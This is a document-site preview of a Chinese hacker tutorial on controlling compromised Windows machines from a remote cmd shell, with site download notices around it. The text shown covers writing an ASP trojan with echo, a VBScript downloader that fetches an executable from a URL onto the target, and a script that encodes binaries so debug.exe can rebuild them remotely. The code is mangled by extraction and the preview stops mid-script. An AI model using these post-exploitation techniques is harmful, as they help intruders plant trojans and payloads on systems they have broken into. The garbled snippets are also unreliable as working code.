使用cmd命令行控制windows系统new

使用cmd命令行控制windows系统new

ID:34634696

大小:32.97 KB

页数:21页

时间:2019-03-08

使用cmd命令行控制windows系统new_第1页
使用cmd命令行控制windows系统new_第2页
使用cmd命令行控制windows系统new_第3页
使用cmd命令行控制windows系统new_第4页
使用cmd命令行控制windows系统new_第5页
资源描述:

《使用cmd命令行控制windows系统new》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库

1、DoAllinCmdShell文章地址:http://www.ykzj.org/article.php?articleid=1751目录1,前言2,文件传输3,系统配置4,网络配置5,软件安装6,Windows脚本7,附言前言CmdShell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。文件传输对于溢出漏洞获得的cmdshell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc

2、$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:1,用Echo命令写ASP木马。前提当然是目标主机上已经安装了IIS。一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。直接给出echo版:@echo^>up.asp注意,只有一行,中间没有回车符。生成的up.asp不能用浏

3、览器访问,只能用下面这个脚本:withwscriptif.arguments.count>dl.vbs@echow.open"get",.arguments(0),0:w.send:ifw.status^>200then.echo"Error:"+w.status:.quit>>dl.vbs@echoaso.type=1:aso.open:aso.writew.responsebody:aso.savetofile.arguments(1),2:endwith>>dl.vbs举例——下载ps.exe并

4、保存到c:path下:cscriptdl.vbshttp://www.sometips.com/soft/ps.exec:pathps.exe注意,这是在远程shell中执行的。[page]4,Echo经过编码的任何文件,再用脚本+debug还原。前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了!echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行

5、。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)无奈只有请debug.exe出马了。原理很多人都知

6、道,我不介绍了,直接给出成果——编码脚本:fp=wscript.arguments(0)fn=right(fp,len(fp)-instrrev(fp,""))withcreateobject("adodb.stream").type=1:.open:.loadfromfilefp:str=.read:sl=lenb(str)endwithsll=slmod65536:slh=sl65536withcreateobject("scripting.filesystemobject").opentex

7、tfile(fp&".bat",2,true).write"@echostr="""fori=1toslbt=ascb(midb(str,i,1))ifbt>debug.vbs"+vbcrlf+"@echo+"""next.writeline""">>debug.vbs"+vbcrlf+"@echowithwscript.stdout:r=vbcrlf"_+":fori=1tolen(str)step48:.write""e""+hex(256+(i-1)/2)"_+":forj=itoi+46ste

8、p2:.write""""+mid(str,j,2):next:.writer:next>>debug.vbs".writeline"@echo.write""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_+"""+r+""ndebug.tmp""+r+""w""+r+""q""+r:endwith"_+">>debug.vbs&&cscript//nologodebug.vbs

9、debug.exe>

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。